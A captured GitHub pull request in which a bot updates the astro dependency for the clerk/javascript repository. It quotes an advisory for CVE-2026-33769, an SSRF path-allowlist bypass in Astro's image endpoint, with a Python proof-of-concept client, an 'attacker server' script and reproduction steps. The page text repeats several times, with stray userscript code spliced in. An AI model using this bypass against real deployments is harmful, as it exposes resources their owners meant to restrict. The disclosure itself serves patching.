Skip to content

chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279

Merged
jacekradko merged 1 commit into
mainfrom
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged

chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom
renovate/npm-astro-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Apr 9, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-33769

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import{defineConfig}from'astro/config';importnodefrom'@​astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))

Attacker server

fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()

PoC Steps

  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Release Notes

withastro/astro (astro)

v5.18.1

Compare Source

Patch Changes

v5.18.0

Compare Source

Minor Changes

  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.

    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.

    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.

    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.

v5.17.3

Compare Source

Patch Changes

v5.17.2

Compare Source

Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies

Configuration

📅 Schedule: (in timezone GMT)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Pull requests that update a dependency file label Apr 9, 2026
@changeset-bot

changeset-botBot commented Apr 9, 2026•
edited
Loading

Copy link
Copy Markdown

🦋 Changeset detected

Latest commit: 4ff8c51

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 1 package
NameType
@clerk/astroPatch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@vercel

vercelBot commented Apr 9, 2026•
edited
Loading

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am

Request Review

@pkg-pr-new

pkg-pr-newBot commented Apr 9, 2026•
edited
Loading

Copy link
Copy Markdown

Open in StackBlitz

@clerk/agent-toolkit

npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro

npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend

npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension

npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js

npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli

npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo

npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys

npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express

npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify

npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono

npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations

npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs

npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt

npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react

npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router

npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared

npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start

npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing

npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui

npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade

npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue

npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51

@renovate

renovateBot commented Apr 9, 2026

Copy link
Copy Markdown
ContributorAuthor

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️Warning: custom changes will be lost.

@jacekradko
jacekradkoforce-pushed the renovate/npm-astro-vulnerability branch from 144afbb to 4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko merged commit 4c8a31a into mainApr 9, 2026
38 of 41 checks passed
@jacekradko
jacekradko deleted the renovate/npm-astro-vulnerability branch April 9, 2026 11:48
@clerk-cookieclerk-cookie mentioned this pull request Apr 9, 2026
Merged
@diegohazdiegohaz mentioned this pull request Apr 16, 2026
Merged
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

1 more reviewer
@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees

No one assigned

Labels

astrodependenciesPull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko
, 'i'); if (__m === '*' || __re.test(location.href)) { // Add copy buttons to all 
 blocks
(function() {
function addCopyButtons() {
document.querySelectorAll('pre code').forEach(function(codeBlock) {
if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;
codeBlock.parentElement.setAttribute('data-copy-added', 'true');
var btn = document.createElement('button');
btn.textContent = 'Copy';
btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';
btn.onmouseover = function() { this.style.opacity = '1'; };
btn.onmouseout = function() { this.style.opacity = '0.7'; };
btn.onclick = function() {
navigator.clipboard.writeText(codeBlock.textContent).then(function() {
btn.textContent = 'Copied!';
setTimeout(function() { btn.textContent = 'Copy'; }, 1500);
});
};
codeBlock.parentElement.style.position = 'relative';
codeBlock.parentElement.appendChild(btn);
});
}
addCopyButtons();
// Re-run on dynamic content
var observer = new MutationObserver(addCopyButtons);
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Force GitHub README to respect dark mode
(function() {
var style = document.createElement('style');
style.textContent = '
.markdown-body {
color-scheme: dark light;
}
.markdown-body pre { background: #161b22 !important; }
.markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }
.markdown-body table th, .markdown-body table td { border-color: #30363d !important; }
.markdown-body img { background: #0d1117; }
.markdown-body blockquote { border-left-color: #8b949e; }
.markdown-body hr { border-color: #30363d; }
';
document.head.appendChild(style);
})();
}
} catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
